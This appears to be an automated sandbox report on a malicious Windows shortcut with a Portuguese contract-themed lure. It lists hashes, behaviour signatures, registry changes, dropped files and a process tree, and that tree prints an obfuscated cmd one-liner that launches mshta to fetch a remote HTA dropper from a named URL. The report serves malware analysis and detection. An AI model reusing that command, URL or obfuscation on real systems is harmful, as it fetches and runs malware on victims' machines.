Analysis
- max time kernel
68s - max time network
157s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 12:43
Static task
static1
Behavioral task
behavioral1
Sample
Contrato_Indeniza_Brasil-KCTX9O.lnk
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
Contrato_Indeniza_Brasil-KCTX9O.lnk
Resource
win11ltsc2024-20260709-en
General
- Target Contrato_Indeniza_Brasil-KCTX9O.lnk
- Size 1KB
- Sample260803-pydpyabk21
- SHA256 eecdfae0bbc8bf323b0988b8d65f5d5056c94550a055997c547cc6c077e2f523
- MD5 daa2fddf49dc0b7991d480dd8496372d
- SHA1 cade22d4d4927a2c7cccef25ddbef8b385a8fc70
- SHA512 73ef6a742b584dd559228e7c97848c2d588fdbaa3c5631b44dda1430af03b27906fa96025ec5c3fe393902e4abcfb08ee1618f0f8480320ccc409587523e4e3c
- TLSH T11F319C802AFD0614F3F38F7759BF671059BBF8969E10CA0D4140464D1462A01E57BF77
- MD5 SHA1 SHA512 TLSH
Malware Config
Extracted
-
hta
-
hta.dropper
https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D
Signatures
- Badlisted process makes network request 8 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 5 3836 mshta.exe 6 3836 mshta.exe 9 3836 mshta.exe 11 3836 mshta.exe 12 3836 mshta.exe 13 3836 mshta.exe 14 3836 mshta.exe 16 3836 mshta.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 3 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3308 cmd.exe 4904 cmd.exe 4716 cmd.exe - System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 3308 cmd.exe 3124 PING.EXE -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch rundll32.exe Set value (str) \REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" rundll32.exe Key created \REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch rundll32.exe Set value (str) \REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" rundll32.exe Key created \REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch rundll32.exe Set value (str) \REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" rundll32.exe Key created \REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch rundll32.exe Set value (str) \REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" rundll32.exe - Modifies registry class 17 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content rundll32.exe Set value (int) \REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CacheVersion = "1" rundll32.exe Set value (str) \REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CachePrefix = "Visited:" rundll32.exe Key created \REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\Local Settings\MuiCache rundll32.exe Key created \REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\Local Settings\MuiCache rundll32.exe Key created \REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache rundll32.exe Key created \REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Extensible Cache rundll32.exe Set value (int) \REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CacheLimit = "51200" rundll32.exe Key created \REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies rundll32.exe Set value (str) \REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" rundll32.exe Set value (int) \REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CacheVersion = "1" rundll32.exe Set value (int) \REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CacheVersion = "1" rundll32.exe Set value (int) \REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CacheLimit = "1" rundll32.exe Key created \REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History rundll32.exe Set value (int) \REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CacheLimit = "1" rundll32.exe Set value (str) \REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CachePrefix rundll32.exe Key created \REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings rundll32.exe - Runs ping.exe 1 TTPs 1 IoCs
pid Process 3124 PING.EXE - Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 16 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) - Suspicious use of FindShellTrayWindow 4 IoCs
pid Process 5428 rundll32.exe 6132 rundll32.exe 4008 rundll32.exe 5056 rundll32.exe - Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 4904 wrote to memory of 4716 4904 cmd.exe 90 PID 4716 wrote to memory of 3836 4716 cmd.exe 91 PID 3836 wrote to memory of 5428 3836 mshta.exe 94 PID 3836 wrote to memory of 6132 3836 mshta.exe 95 PID 5428 wrote to memory of 2428 5428 rundll32.exe 96 PID 3836 wrote to memory of 4008 3836 mshta.exe 97 PID 3836 wrote to memory of 5056 3836 mshta.exe 98 PID 6132 wrote to memory of 3708 6132 rundll32.exe 99 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
- Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 1132 attrib.exe
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Contrato_Indeniza_Brasil-KCTX9O.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4904 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /c "set uwGbg=msh&&set nsmy=ta&&start "" !uwGbg!!nsmy! https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4716 -
C:\Windows\System32\mshta.exemshta https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D3⤵
- Badlisted process makes network request
- Suspicious use of WriteProcessMemory
PID:3836 -
C:\Windows\System32\rundll32.exe"C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 84⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:5428 -
C:\Windows\system32\rundll32.exeC:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:00000000000000005⤵
- Modifies registry class
PID:2428
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C:\Windows\System32\rundll32.exe"C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 84⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:6132 -
C:\Windows\system32\rundll32.exeC:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:00000000000000005⤵
- Modifies registry class
PID:3708
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C:\Windows\System32\rundll32.exe"C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 84⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
PID:4008 -
C:\Windows\system32\rundll32.exeC:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:00000000000000005⤵PID:2272
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C:\Windows\System32\rundll32.exe"C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 84⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
PID:5056 -
C:\Windows\system32\rundll32.exeC:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:00000000000000005⤵PID:4196
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C:\Windows\System32\attrib.exe"C:\Windows\System32\attrib.exe" +h +s "C:\vcmdpciv\"4⤵
- Views/modifies file attributes
PID:1132
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C:\vcmdpciv\vcmdpciv.exe"C:\vcmdpciv\vcmdpciv.exe" C:\vcmdpciv\vcmdpciv4⤵PID:5912
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C:\Windows\System32\rundll32.exe"C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 84⤵PID:2308
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C:\Windows\system32\rundll32.exeC:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:00000000000000005⤵PID:1352
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c ping -n 300 -w 1000 127.0.0.1 >nul4⤵
- Executes a command shell one-liner
- System Network Configuration Discovery: Internet Connection Discovery
PID:3308 -
C:\Windows\System32\PING.EXEping -n 300 -w 1000 127.0.0.15⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:3124
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\22D536C4B4AD2CEF7AC6B7789FD235E3
- Size 283B
- SHA256 251ed08cc8f5873098ea5ee083034e7cd99ece955920e12a42e50306a94cb6eb
- MD5 7f9d3dc54f928bf6c38576705ad18203
- SHA1 2b5e33e5301753684973bfddbc6cfb11d297cf90
- SHA512 ef5b01e74a5e49cd0fe887b9d92d830e1052bd93cda7d11ee68829705432a21a9943535de8dff9d77eb3402253adf9d5760eda03ca80a0c3495f83396d648967
- TLSH T102D0C29CA9273E660FE69B454A50C087AEE610CA9C15B648008EC45B0887B02EA962AE
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\9DD9D8EB1173CB9DA0F6DAA87673F76F
- Size 35KB
- SHA256 7a428311e98280aff08b814fe3c5549da2fa2cfdb1bd0e27096068db79211ac8
- MD5 da4c984e1122fb17b3a0285371ff3368
- SHA1 aff0704f601458c699b6c7f4ba9a046373992697
- SHA512 10993cc947511405b9cc371ee08e6b089b8990965c83ef2528b933ff35ab85292dfddd503682955d54e53a6775fed9a23d4a332f2605444ec972d8932210c945
- SSDEEP 768:6sPt1rUfcHoMFLpLmBEOD00pb7tcqo+0TmhsqfN0d+wtHKT:brUfAo+y900F7jTCswtHO
- TLSH T1A4F24FA8AC3BF9A1AD4B5F718DEFDA9632F512C52D31922E4E306E405C13A5BDF57080
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\22D536C4B4AD2CEF7AC6B7789FD235E3
- Size 192B
- SHA256 f38282448b44f3b22d638ee8b7c651488949274dc7a604d9cf2cffa1a8c47a81
- MD5 ce3b0f711307a06c1610fa0366621473
- SHA1 a3c6d60f7a1d02be3c53a23dd65390fc3e70c5f7
- SHA512 b8b63c30e7f21402f232b61093ccd85cfbfe55d87ff7b7e4a8fbc9f891cfe760665344c007c5eeb32326fe6bd4236b653b2bf563f8573b0d01b78bacd2a20e0b
- TLSH T1ACC02B182FE20606F2EC0BBE23D03E83AB14D401F3858F4A163E3A488E10F181C30C1C
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\9DD9D8EB1173CB9DA0F6DAA87673F76F
- Size 246B
- SHA256 6311b092e18b1882439a924835aca1da3d8e7aeed08ae229fb424b25a1d3ee62
- MD5 150db83a4a3c3450c9a8395d07897aa7
- SHA1 e5096b3609668afcd23df3c07674835d41062a03
- SHA512 7cd69faac8459dc01929b0211bc5069b4d6a92b03f82a48023dfbe2b526a5725291ccab9cea4ed7483deb5da16537737bfb7db30bb68f8b78e66dfd7d123f602
- TLSH T1D6D0221837691213F0A0CABA8A600662CE18722FB6D00F4E0FF2410C8A2EF431CA0C2C
- MD5 SHA1 SHA512 TLSH
- Path C:\vcmdpciv\a1.zip
- Size 494KB
- SHA256 42890ce63cec59273230cfb5f61476a4da244f57ed7f38f61eed5ea904f59d80
- MD5 94d03e8281ae82cd55207490ede3567e
- SHA1 56ab333203b6bd88d2d037a8d3e17c492b2686b0
- SHA512 4697a45daf7803202e25d5873b57525343a0205a0697d34b72babdef908cd35925c8fd652a63e9267255b1de34e7204604be49a607848e729505b30c9e433c70
- SSDEEP 12288:CxU7hblQnL+/dh+Gez4yOGtBan225oCWp8SrI8:Cq7hblmK/dgGeVlk22aCarI8
- TLSH T169B4231C22C4BD086D3D97FB58539F7405E62A9E14B8024DE18B73C4ABCEF815F829E5
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\vcmdpciv\a2.zip
- Size 1.3MB
- SHA256 9085bea8765e21fd29f90e47ad99e0e2f63bc23f429f9c2f8d67cecb8871c8a7
- MD5 4f4b13a34f5d33b4c0f28415e700ad36
- SHA1 3ecea0a4922a795b9ac6fa1caf18aed535c17010
- SHA512 532bc3581096d1a4b30adab5e3cf0ce854f56e6700566bdbf6b646f751367b01786f63a831e41f4dd315aca50b98bdddb9799d6dec515d01815a824a47d5308b
- SSDEEP 24576:aAuYNwua6NduNqjRt1pSdu4E0mcKptG6lgVT0kQkmSp9QpDH1tMlyaU:aAuSw7Ku4xpSd7m7BlgVQmvQJH1t9
- TLSH T184553355B7EDDF14E07D52A1C9C14ED42EE304ADBFE8CC081AC84788D5D236DA948EBA
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\vcmdpciv\a3.zip
- Size 2KB
- SHA256 a9962270d602ecafd52b99436b6cbcabfa18e0be00c543707767e01e50042b1b
- MD5 4d88ea46f1d4ae5c036b5c6f4bd9c9a8
- SHA1 8d40756dbe16bbc1ad070a823aac33476d01cf7c
- SHA512 c9fc842037276e4a82935d3409383b3c02b0209ef4511da2c44c8592752085b86ea0359ec6aac717679aa33c814dca6f67813566940b2ba5ee95e7078a9b279f
- TLSH T103413AE88E7CBDA0D68F79389E14587059373EC499C465B90EBFEC042230399CA6E42C
- MD5 SHA1 SHA512 TLSH
- Path C:\vcmdpciv\vcmdpciv
- Size 1.3MB
- SHA256 30af0a4b9b7c7d8cf41c169be3d51c03d9dabd0c18ed699b31850b618b5db55e
- MD5 3acd16edf0a4a2c6ece5bdb47bbfe252
- SHA1 f2c68a96d6233778d1900a859ff089284c1672f2
- SHA512 db484aa924751393a2bb72b482dea0882e2ea077a48f24e9535c1dd4fb49491779832533a50b509770220503952dc01253e62205b3a376ee4660d7c7f3348172
- SSDEEP 24576:wAsYBwwc6NnutqPLth3SduIE0mcKppG2RgzTckokmGpVQpHH3tghysG:wAsiw7WuYn3Sdpm7PRgzIYrQhH3tb
- TLSH T121553355B7EDDF04E0BD51A1D9C14ED42EE304ADBFE8CC081AC84788D5D236DA948EBA
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\vcmdpciv\vcmdpciv.exe
- Size 957KB
- SHA256 bdd2b7236a110b04c288380ad56e8d7909411da93eed2921301206de0cb0dda1
- MD5 279274f8a137bf31425a9c2c14444b66
- SHA1 6f7f971406854309d94139aa70bdc772308aff52
- SHA512 2e69e99ae2c2f0c3361351853ecfcd1982ea542ef8aff9314e991642f106a87d45479f21f53367ad93b29ce9d98b60706ff9554a9c9d2a793fbed1589b90a85d
- SSDEEP 24576:8SmEH7kpRArkvBz1oxovFDVeAj2HoB3a33rfBH:827kpRA4R1oGDVeQXsrf
- TLSH T11B259E0373D18022FF93A9721E5FE72656BC6D2A0323956F13D81EB9F9305B14A1E672
- MD5 SHA1 SHA512 SSDEEP TLSH